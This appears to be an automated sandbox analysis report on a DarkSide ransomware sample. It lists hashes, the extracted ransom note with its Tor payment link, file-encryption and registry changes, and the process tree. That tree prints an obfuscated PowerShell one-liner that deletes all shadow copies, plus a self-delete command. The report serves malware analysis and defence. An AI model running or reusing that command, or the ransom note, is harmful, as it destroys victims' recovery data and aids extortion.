darkside | b964f940d3f2c52dd102009d98512929da73cb6e180c4db7b4def3faa29911fc

General

Target

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Size

5.9MB
MD5

794c5aa1b0e1f9cf2fc7fe5f22117c3f
SHA1

1821fe210298b1d22b25f1a544abcfe092999ff7
SHA256

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
SHA512

28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf

Score

10^/10

darkside ransomware spyware stealer vmprotect

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 20 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\DismountReset.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\HidePing.crw => C:\Users\Admin\Pictures\HidePing.crw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveGroup.tiff	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\SyncDebug.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\DebugCompare.tif => C:\Users\Admin\Pictures\DebugCompare.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\DebugCompare.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\PublishRemove.crw => C:\Users\Admin\Pictures\PublishRemove.crw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeAdd.tiff.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\ResolveGroup.tiff => C:\Users\Admin\Pictures\ResolveGroup.tiff.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveGroup.tiff.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\SkipMount.png => C:\Users\Admin\Pictures\SkipMount.png.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\SuspendUnlock.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\DismountReset.tif => C:\Users\Admin\Pictures\DismountReset.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\HidePing.crw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\PublishRemove.crw.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeAdd.tiff	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\ResizeAdd.tiff => C:\Users\Admin\Pictures\ResizeAdd.tiff.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\SkipMount.png.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\SuspendUnlock.tif => C:\Users\Admin\Pictures\SuspendUnlock.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\SyncDebug.tif => C:\Users\Admin\Pictures\SyncDebug.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/1652-76-0x0000000001360000-0x0000000001D08000-memory.dmp	vmprotect

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2756 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2756	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Modifies registry class 5 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exe

pid	process
1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1640	powershell.exe
1640	powershell.exe
1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSecurityPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeTakeOwnershipPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeLoadDriverPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemProfilePrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemtimePrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeProfSingleProcessPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeIncBasePriorityPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeCreatePagefilePrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeBackupPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeRestorePrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeShutdownPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeDebugPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemEnvironmentPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeRemoteShutdownPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeUndockPrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeManageVolumePrivilege	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 33	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 34	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 35	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeBackupPrivilege	368	vssvc.exe
Token: SeRestorePrivilege	368	vssvc.exe
Token: SeAuditPrivilege	368	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	pid	process	target process
PID 1652 wrote to memory of 1640	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1652 wrote to memory of 1640	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1652 wrote to memory of 1640	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1652 wrote to memory of 1640	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1652 wrote to memory of 2756	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 1652 wrote to memory of 2756	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 1652 wrote to memory of 2756	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 1652 wrote to memory of 2756	1652	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
2⤵
- Deletes itself
PID:2756

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
cffb8f5ff754b5e12d60a05eaa7cb3e5

SHA1
cac7f4467f672ab9eade132e3f01fca03e8b6a7e

SHA256
fb36068c6cd290fb35c322ad01795fa5f6937ae84083e6ad5e0a43e93d725733

SHA512
2205eaa39b4bca4f00f9c43019e851995867019c6f5f3470befc3bceee0535eeaa55e0f78169e6be3a90fee2074c6f7958655885aec3f22b058c1d53c3dbbefc

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
466ef3c0d69767af42e4671837978c0a

SHA1
7197c7115637f56337127e099d43ca9d10613947

SHA256
07fd7331bfa37d6008e7c6107dc46c21c969c42a2cbbae948bdc465e7f6e99a5

SHA512
d63ffaa51d46b2e5e8556c136dc6bb7ba91e7725afbac71a87b24dcf30da7ae0d84fbb784270452093f8b6987f1faa0800fb5bbb04cdcd619626e12c931fd551

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memory/1640-79-0x0000000000000000-mapping.dmp

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memory/1640-88-0x000000001C580000-0x000000001C581000-memory.dmp

Filesize
4KB

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memory/1640-87-0x000000001B750000-0x000000001B751000-memory.dmp

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4KB

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memory/1640-86-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

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memory/1640-85-0x000000001AC34000-0x000000001AC36000-memory.dmp

Filesize
8KB

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memory/1640-84-0x000000001AC30000-0x000000001AC32000-memory.dmp

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8KB

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memory/1640-83-0x0000000001E50000-0x0000000001E51000-memory.dmp

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4KB

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memory/1640-82-0x000000001ACB0000-0x000000001ACB1000-memory.dmp

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4KB

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memory/1640-81-0x00000000022B0000-0x00000000022B1000-memory.dmp

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4KB

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memory/1640-80-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

Filesize
8KB

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memory/1652-67-0x0000000000390000-0x0000000000391000-memory.dmp

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4KB

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memory/1652-69-0x0000000000430000-0x0000000000431000-memory.dmp

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4KB

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memory/1652-74-0x0000000000480000-0x0000000000481000-memory.dmp

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4KB

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memory/1652-75-0x0000000000490000-0x0000000000491000-memory.dmp

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4KB

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memory/1652-76-0x0000000001360000-0x0000000001D08000-memory.dmp

Filesize
9.7MB

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memory/1652-77-0x0000000076641000-0x0000000076643000-memory.dmp

Filesize
8KB

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memory/1652-72-0x0000000000460000-0x0000000000461000-memory.dmp

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4KB

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memory/1652-71-0x0000000000450000-0x0000000000451000-memory.dmp

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4KB

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memory/1652-70-0x0000000000440000-0x0000000000441000-memory.dmp

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4KB

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memory/1652-73-0x0000000000470000-0x0000000000471000-memory.dmp

Filesize
4KB

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memory/1652-68-0x00000000003A0000-0x00000000003A1000-memory.dmp

Filesize
4KB

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memory/1652-60-0x0000000000070000-0x0000000000071000-memory.dmp

Filesize
4KB

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memory/1652-66-0x0000000000380000-0x0000000000381000-memory.dmp

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4KB

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memory/1652-65-0x0000000000370000-0x0000000000371000-memory.dmp

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4KB

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memory/1652-64-0x0000000000160000-0x0000000000161000-memory.dmp

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4KB

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memory/1652-63-0x0000000000150000-0x0000000000151000-memory.dmp

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4KB

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memory/1652-62-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

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memory/1652-61-0x0000000000080000-0x0000000000081000-memory.dmp

Filesize
4KB

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memory/2756-91-0x0000000000000000-mapping.dmp

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Analysis

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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